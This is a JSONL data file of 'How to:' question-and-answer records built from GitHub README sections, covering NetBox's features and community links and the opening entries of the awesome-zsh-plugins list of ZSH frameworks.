{"id": "gh_0adf5463fb16", "question": "How to: Focused Development", "question_body": "About netbox-community/netbox", "answer": "NetBox strives to meet a singular goal: Provide the best available solution for making network infrastructure programmatically accessible. Unlike \"all-in-one\" tools which awkwardly bolt on half-baked features in an attempt to check every box, NetBox is committed to its core function. NetBox provides the best possible solution for modeling network infrastructure, and provides rich APIs for integrating with tools that excel in other areas of network automation.", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283706"}
{"id": "gh_3cea71d86dd4", "question": "How to: Extensible and Customizable", "question_body": "About netbox-community/netbox", "answer": "No two networks are exactly the same. Users are empowered to extend NetBox's native data model with custom fields and tags to best suit their unique needs. You can even write your own plugins to introduce entirely new objects and functionality!", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283711"}
{"id": "gh_f4031aab70b7", "question": "How to: Flexible Permissions", "question_body": "About netbox-community/netbox", "answer": "NetBox includes a fully customizable permission system, which affords administrators incredible granularity when assigning roles to users and groups. Want to restrict certain users to working only with cabling and not be able to change IP addresses? Or maybe each team should have access only to a particular tenant? NetBox enables you to craft roles as you see fit.", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283716"}
{"id": "gh_eb0edf26e557", "question": "How to: Custom Validation & Protection Rules", "question_body": "About netbox-community/netbox", "answer": "The data you put into NetBox is crucial to network operations. In addition to its robust native validation rules, NetBox provides mechanisms for administrators to define their own custom validation rules for objects. Custom validation can be used both to ensure new or modified objects adhere to a set of rules, and to prevent the deletion of objects which don't meet certain criteria. (For example, you might want to prevent the deletion of a device with an \"active\" status.)", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283721"}
{"id": "gh_f9f5efd3fce7", "question": "How to: Device Configuration Rendering", "question_body": "About netbox-community/netbox", "answer": "NetBox can render user-created Jinja2 templates to generate device configurations from its own data. Configuration templates can be uploaded individually or pulled automatically from an external source, such as a git repository. Rendered configurations can be retrieved via the REST API for application directly to network devices via a provisioning tool such as Ansible or Salt.", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283726"}
{"id": "gh_409892be6d5f", "question": "How to: Custom Scripts", "question_body": "About netbox-community/netbox", "answer": "Complex workflows, such as provisioning a new branch office, can be tedious to carry out via the user interface. NetBox allows you to write and upload custom scripts that can be run directly from the UI. Scripts prompt users for input and then automate the necessary tasks to greatly simplify otherwise burdensome processes.", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283731"}
{"id": "gh_6cc7fe00b029", "question": "How to: Automated Events", "question_body": "About netbox-community/netbox", "answer": "Users can define event rules to automatically trigger a custom script or outbound webhook in response to a NetBox event. For example, you might want to automatically update a network monitoring service whenever a new device is added to NetBox, or update a DHCP server when an IP range is allocated.", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283736"}
{"id": "gh_5bc80a1007ec", "question": "How to: Comprehensive Change Logging", "question_body": "About netbox-community/netbox", "answer": "NetBox automatically logs the creation, modification, and deletion of all managed objects, providing a thorough change history. Changes can be attributed to the executing user, and related changes are grouped automatically by request ID.\n\n> [!NOTE]\n> A complete list of NetBox's myriad features can be found in [the introductory documentation](https://docs.netbox.dev/en/stable/introduction/).", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283741"}
{"id": "gh_e028a081547b", "question": "How to: Getting Started", "question_body": "About netbox-community/netbox", "answer": "* Just want to explore? Check out [our public demo](https://demo.netbox.dev/) right now!\n* The [official documentation](https://docs.netbox.dev) offers a comprehensive introduction.\n* Check out [our wiki](https://github.com/netbox-community/netbox/wiki/Community-Contributions) for even more projects to get the most out of NetBox!", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283746"}
{"id": "gh_4e7c7f0e122c", "question": "How to: Get Involved", "question_body": "About netbox-community/netbox", "answer": "* Follow [@NetBoxOfficial](https://twitter.com/NetBoxOfficial) on Twitter!\n* Join the conversation on [the discussion forum](https://github.com/netbox-community/netbox/discussions) and [Slack](https://netdev.chat/)!\n* Already a power user? You can [suggest a feature](https://github.com/netbox-community/netbox/issues/new?assignees=&labels=type%3A+feature&template=feature_request.yaml) or [report a bug](https://github.com/netbox-community/netbox/issues/new?assignees=&labels=type%3A+bug&template=bug_report.yaml) on GitHub.\n* Contributions from the community are encouraged and appreciated! Check out our [contributing guide](CONTRIBUTING.md) to get started.", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283751"}
{"id": "gh_c67aadfbc34a", "question": "How to: Screenshots", "question_body": "About netbox-community/netbox", "answer": "NetBox Dashboard (Light Mode)\nNetBox Dashboard (Dark Mode)\nPrefixes List\nRack View\nCable Trace", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283758"}
{"id": "gh_77cd4a3f748c", "question": "How to: Table of Contents", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "- [Disclaimer](#disclaimer)\n- [Frameworks](#frameworks)\n  - [alf](#alf)\n  - [ansible-role-zsh](#ansible-role-zsh)\n  - [ant-zsh](#ant-zsh)\n  - [antibody](#antibody)\n  - [antidote](#antidote)\n  - [antigen-hs](#antigen-hs)\n  - [antigen](#antigen)\n  - [awesome-lazy-zsh](#awesome-lazy-zsh)\n  - [ax-zsh](#ax-zsh)\n  - [deer](#deer)\n  - [dotzsh](#dotzsh)\n  - [fresh](#fresh)\n  - [gh-source](#gh-source)\n  - [miniplug](#miniplug)\n  - [oh-my-zsh](#oh-my-zsh)\n  - [PMS](#pms)\n  - [prezto](#prezto)\n  - [pumice](#pumice)\n  - [rac](#rac)\n  - [rat](#rat)\n  - [ryzshrc](#ryzshrc)\n  - [sheldon](#sheldon)\n  - [shplug](#shplug)\n  - [TheFly](#thefly)\n  - [Toasty](#toasty)\n  - [Usepkg](#usepkg)\n  - [uz](#uz)\n  - [x-cmd](#x-cmd)\n  - [yazt](#yazt)\n  - [yzsh](#yzsh)\n  - [zap](#zap)\n  - [zapack](#zapack)\n  - [zcomet](#zcomet)\n  - [zeesh](#zeesh)\n  - [zgem](#zgem)\n  - [zgen](#zgen)\n  - [zgenom](#zgenom)\n  - [zilsh](#zilsh)\n  - [zim](#zim)\n  - [Zinit](#zinit)\n  - [zinit-4](#zinit-4)\n  - [zit](#zit)\n  - [zlugin](#zlugin)\n  - [znap](#znap)\n  - [zoppo](#zoppo)\n  - [zpacker](#zpacker)\n  - [zpico](#zpico)\n  - [zplug](#zplug)\n  - [zpm](#zpm)\n  - [zr](#zr)\n  - [zshing](#zshing)\n  - [zsh-dot-plugin](#zsh-dot-plugin)\n  - [zsh-mgr](#zsh-mgr)\n  - [zsh-unplugged.](#zsh-unplugged)\n  - [zshPlug](#zshplug)\n  - [ztanesh](#ztanesh)\n  - [ztheme](#ztheme)\n  - [ztupide](#ztupide)\n  - [zulu](#zulu)\n  - [zush 🦥 - Mid-Performance ZSH Configuration](#zush-%F0%9F%A6%A5---mid-performance-zsh-configuration)\n- [Setups](#setups)\n  - [zgenom](#zgenom-1)\n  - [zinit](#zinit)\n- [Prerequisites](#prerequisites)\n- [Tutorials](#tutorials)\n  - [Generic ZSH](#generic-zsh)\n  - [Antigen](#antigen)\n  - [Oh-My-Zsh](#oh-my-zsh)\n  - [Prezto](#prezto)\n  - [Zgen](#zgen)\n  - [Zinit (né zplugin)](#zinit-n%C3%A9-zplugin)\n  - [ZSH on Windows](#zsh-on-windows)\n    - [superconsole - Windows-only](#superconsole---windows-only)\n- [Plugins](#plugins)\n- [Completions](#completions)\n- [Themes](#themes)\n- [Fonts](#fonts)\n- [Installation](#installation)\n  - [Antigen](#antigen-1)\n  - [dotzsh](#dotzsh-1)\n  - [Oh-My-Zsh](#oh-my-zsh-1)\n  - [Prezto](#prezto-1)\n  - [Zgen](#zgen-1)\n  - [Zgenom](#zgenom)\n  - [zplug](#zplug-1)\n  - [zpm](#zpm-1)\n- [Writing New Plugins and Themes](#writing-new-plugins-and-themes)\n- [Other Resources](#other-resources)\n  - [ZSH Tools](#zsh-tools)\n  - [Other Useful Lists](#other-useful-lists)\n  - [Other References](#other-references)\n- [Thanks](#thanks)\n*Please read the [Contributing Guidelines](Contributing.md) before contributing.*", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 17290, "answer_score": 10, "has_code": true, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407027"}
{"id": "gh_f30c3740cb68", "question": "How to: Disclaimer", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "While I have done my best to not add entries with embedded malicious code, I don't have the time to sift through the source of every entry in the list.\n\nTHIS LIST IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407044"}
{"id": "gh_ef262b99a16b", "question": "How to: Frameworks", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "These frameworks make customizing your ZSH setup easier.\n\nYou can find performance timing comparisons of various frameworks in the following locations.\n\n- [rossmacarthur/zsh-plugin-manager-benchmark](https://github.com/rossmacarthur/zsh-plugin-manager-benchmark) - Contains performance benchmarks for the most popular ZSH frameworks, including both install time and load time.\n- [pm-perf-test](https://github.com/z-shell/pm-perf-test) - Tooling for running performance tests on multiple ZSH frameworks.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407050"}
{"id": "gh_686bc64e556b", "question": "How to: [alf](https://github.com/psyrendust/alf)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/psyrendust/alf) ![GitHub Repo stars](https://img.shields.io/github/stars/psyrendust/alf)\n\n**Alf** is an out of this world super fast and configurable framework for ZSH; it's modeled after [Prezto](https://github.com/sorin-ionescu/prezto) and [Antigen](https://github.com/zsh-users/antigen) while utilizing [Oh-My-Zsh](https://ohmyz.sh) under the covers; and offers standard defaults, aliases, functions, auto completion, automated updates and installable prompt themes and plugins.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407056"}
{"id": "gh_07f4f4076802", "question": "How to: [ansible-role-zsh](https://github.com/viasite-ansible/ansible-role-zsh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/viasite-ansible/ansible-role-zsh) ![GitHub Repo stars](https://img.shields.io/github/stars/viasite-ansible/ansible-role-zsh)\n\n**ansible-role-zsh** is an ansible role with zero-knowledge installation. It uses [antigen](https://github.com/zsh-users/antigen) to manage bundles and [oh-my-zsh](ohmyz.sh). Can load bundles conditionally. By default it includes the powerlevel9k theme, autosuggestions, syntax-highlighting and [fzf-widgets](https://github.com/ytet5uy4/fzf-widgets) and [fzf-marks](https://github.com/urbainvaes/fzf-marks). Fully customizable.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407062"}
{"id": "gh_9cc1f44017b4", "question": "How to: [ant-zsh](https://github.com/anthraxx/ant-zsh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/anthraxx/ant-zsh)\n ![GitHub Repo stars](https://img.shields.io/github/stars/anthraxx/ant-zsh)\n\n**Ant-zsh** is a tiny and lightweight ZSH configuration environment for special customization needs. It includes plugins, themes and a basic convenient setup.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407067"}
{"id": "gh_41434dbb10d8", "question": "How to: [antibody](https://github.com/getantibody/antibody)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/getantibody/antibody)\n ![GitHub Repo stars](https://img.shields.io/github/stars/getantibody/antibody)\n\n**Antibody** is a faster and simpler [antigen](https://github.com/zsh-users/antigen) written in Golang. More details are available at [http://getantibody.github.io/](http://getantibody.github.io/).", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407071"}
{"id": "gh_a70e15789bac", "question": "How to: [antidote](https://getantidote.github.io/)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/mattmc3/antidote)\n ![GitHub Repo stars](https://img.shields.io/github/stars/mattmc3/antidote)\n\n**Antidote** is a ZSH plugin manager made from the ground up thinking about performance.\n\nIt is fast because it can do things concurrently, and generates an ultra-fast static plugin file that you can include in your ZSH config.\n\nIt is written natively in ZSH, is well tested, and picks up where [Antibody](https://github.com/getantibody/antibody) left off.\n\n[use-omz](https://github.com/getantidote/use-omz) enables easy use of [Oh-My-ZSH](https://github.com/ohmyzsh/ohmyzsh) with antidote.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407077"}
{"id": "gh_4196e44e0cbb", "question": "How to: [antigen-hs](https://github.com/Tarrasch/antigen-hs)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/Tarrasch/antigen-hs)\n ![GitHub Repo stars](https://img.shields.io/github/stars/Tarrasch/antigen-hs)\n\n**antigen-hs** is a replacement for [antigen](https://github.com/zsh-users/antigen) optimized for a low overhead when starting up a `zsh` session. It will automatically clone plugins for you.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407082"}
{"id": "gh_ffe3a298d269", "question": "How to: [antigen](https://github.com/zsh-users/antigen)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zsh-users/antigen)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zsh-users/antigen)\n\n**Antigen** is a small set of functions that help you easily manage your shell (ZSH) plugins, called bundles. The concept is pretty much the same as bundles in a typical vim+pathogen setup. Antigen is to ZSH, what Vundle is to `vim`. Antigen can load oh-my-zsh themes and plugins and will automatically clone them for you.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407087"}
{"id": "gh_660469089b1b", "question": "How to: [awesome-lazy-zsh](https://github.com/AmJaradat01/awesome-lazy-zsh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/AmJaradat01/awesome-lazy-zsh)\n ![GitHub Repo stars](https://img.shields.io/github/stars/AmJaradat01/awesome-lazy-zsh)\n\n**Awesome-Lazy-ZSH** is a simplified and customizable ZSH setup tool for managing plugins and themes. It streamlines your terminal environment with an easy-to-use CLI interface, allowing you to manage .zshrc configurations effectively.\nFeatures\n\n- Plugin Management: Install and manage plugins easily.\n- Theme Customization: Apply a variety of Zsh themes.\n- Backup and Restore: Safeguard your .zshrc configurations.\n- Interactive CLI: User-friendly setup options.\n- Dependency Management: Automatically checks for Git, Node.js, and Homebrew.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407093"}
{"id": "gh_5c3e8afc66b2", "question": "How to: [ax-zsh](https://github.com/alexbarton/ax-zsh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/alexbarton/ax-zsh)\n ![GitHub Repo stars](https://img.shields.io/github/stars/alexbarton/ax-zsh)\n\n**Ax-ZSH** is a modular configuration system for ZSH. It provides sane defaults and is extendable by plugins.\n\n**Ax-ZSH** integrates well with [Powerlevel10k](https://github.com/romkatv/powerlevel10k) and other extensions, including plugins compatible with [oh-my-zsh](https://ohmyz.sh/).", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407098"}
{"id": "gh_749b9a299db1", "question": "How to: [deer](https://github.com/ArtixLabs/deer)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/ArtixLabs/deer)\n ![GitHub Repo stars](https://img.shields.io/github/stars/ArtixLabs/deer)\n\nA minimalist ZSH plugin manager.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407103"}
{"id": "gh_e4502c3488e4", "question": "How to: [dotzsh](https://github.com/dotphiles/dotzsh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/dotphiles/dotzsh)\n ![GitHub Repo stars](https://img.shields.io/github/stars/dotphiles/dotzsh)\n\n**Dotzsh** strives to be platform and version independent. Some functionality may be lost when running under older versions of ZSH, but it should degrade cleanly and allow you to use the same setup on multiple machines of differing OSes without problems.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407108"}
{"id": "gh_b06e41aed1c8", "question": "How to: [fresh](https://github.com/freshshell/fresh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/freshshell/fresh)\n ![GitHub Repo stars](https://img.shields.io/github/stars/freshshell/fresh)\n\n**fresh** is a tool to source shell configuration (aliases, functions, etc) from others into your own configuration files. We also support files such as ackrc and gitconfig. Think of it as [Bundler](https://bundler.io) for your dot files.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407113"}
{"id": "gh_93636b981723", "question": "How to: [gh-source](https://github.com/Yarden-zamir/gh-source)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/Yarden-zamir/gh-source) ![GitHub Repo stars](https://img.shields.io/github/stars/Yarden-zamir/gh-source)\n\n**gh-source** is a plugin manager for people who don't like plugin managers. It's a simple shell function that downloads and installs plugins from GitHub as part of the sourcing step. It's designed to be used with `zsh`, but it should work with any shell.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407118"}
{"id": "gh_754a49e36916", "question": "How to: [miniplug](https://sr.ht/~yerinalexey/miniplug)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/yerinalexey/miniplug) ![GitHub Repo stars](https://img.shields.io/github/stars/yerinalexey/miniplug)\n\n**miniplug** is a minimalistic plugin manager for ZSH.\n\n- No crashes or double plugin loading when re-sourcing `.zshrc`\n- Unlike other frameworks, Miniplug does not pollute your `$PATH`\n- Only does the bare minimum for managing plugins", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407123"}
{"id": "gh_4ed8394726b8", "question": "How to: [oh-my-zsh](https://ohmyz.sh/)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/ohmyzsh/ohmyzsh) ![GitHub Repo stars](https://img.shields.io/github/stars/ohmyzsh/oh-my-zsh)\n\n**oh-my-zsh** is a community-driven framework for managing your ZSH configuration. Includes 120+ optional plugins (rails, `git`, macOS, `hub`, `capistrano`, `brew`, `ant`, MacPorts, etc), over 120 themes to spice up your morning, and an auto-update tool that makes it easy to keep up with the latest updates from the community.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407128"}
{"id": "gh_c166eb87023b", "question": "How to: [PMS](https://github.com/JoshuaEstes/pms)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/JoshuaEstes/pms)\n ![GitHub Repo stars](https://img.shields.io/github/stars/JoshuaEstes/pms)\n\nPMS allows you to manage your shell in a way to that helps decrease setup time and increases your productivity. It has support for themes (change the way your shell looks), plugins (adds functionality to your shell), and dotfile management.\n\nThe PMS framework also allows you to use the same framework in different shells. Use ZSH on your personal laptop, and use `bash` on remote servers. Wanna try `fish`? Go ahead, try out different shells.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407133"}
{"id": "gh_6cebb5422fa2", "question": "How to: [prezto](https://github.com/sorin-ionescu/prezto)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/sorin-ionescu/prezto)\n ![GitHub Repo stars](https://img.shields.io/github/stars/sorin-ionescu/prezto)\n\n**Prezto** enriches the ZSH command line interface environment with sane defaults, aliases, functions, auto completion, and prompt themes. There are some [prezto](https://github.com/sorin-ionescu/prezto)-specific plugins at [https://github.com/belak/prezto-contrib](https://github.com/belak/prezto-contrib).", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407138"}
{"id": "gh_db5fbc80322c", "question": "How to: [pumice](https://github.com/ryutamaki/pumice)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/ryutamaki/pumice)\n ![GitHub Repo stars](https://img.shields.io/github/stars/ryutamaki/pumice)\n\n**Pumice** is a lightweight plugin manager for ZSH.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407143"}
{"id": "gh_a2fd31e999ec", "question": "How to: [rac](https://github.com/lomarco/rac)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/lomarco/rac)\n  ![GitHub Repo stars](https://img.shields.io/github/stars/lomarco/rac)\n\nMost ZSH plugin managers are bloated. They try to do too much - dependency graphs, deferred loading, configuration injection - and in the process, they slow down your shell.\n\nThe reality is, most users never use even 80% of these features. `rac` is deliberately minimal. All it does is **download plugins** and **update plugins**.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407148"}
{"id": "gh_2d53d4ba45b5", "question": "How to: [rat](https://github.com/gotokazuki/rat-zsh)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/gotokazuki/rat-zsh)\n  ![GitHub Repo stars](https://img.shields.io/github/stars/gotokazuki/rat-zsh)\n\nA lightweight, fast, and reproducible plugin manager for ZSH. Made with 🐭 & 🦀 — no magic, no heavy frameworks.\n\nFeatures 🐭✨\n\n- 🚀 Simple setup\n  - Install with a single curl line\n  - Just add one eval line in .zshrc to start using it\n- ⚙️ Configurable and reproducible\n  - Simple TOML-based configuration\n  - Automatic plugin load order control\n- 🐙 GitHub integration\n  - Fetches plugins from GitHub repositories\n  - Supports branches, tags, and commits\n  - Handles Git submodules automatically\n- ⚡️ Lightweight and fast\n  - Parallel plugin sync\n  - Built in Rust 🦀\n- 🔄 Seamless updates\n  - Self-upgrade\n  -Plugin sync", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407158"}
{"id": "gh_7a1acba95d2b", "question": "How to: [ryzshrc](https://github.com/ryzshrc/ryzshrc)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/ryzshrc/ryzshrc)\n  ![GitHub Repo stars](https://img.shields.io/github/stars/ryzshrc/ryzshrc)\n\n**ryzshrc** is a smart, innovative plugin manager like [Oh My Zsh](https://ohmyz.sh/), designed to enhance your terminal experience with professional and cool features. It boosts productivity by providing efficient shell management, sleek themes, and powerful plugins. Perfect for developers seeking a modern and intelligent way to work with their terminal", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407164"}
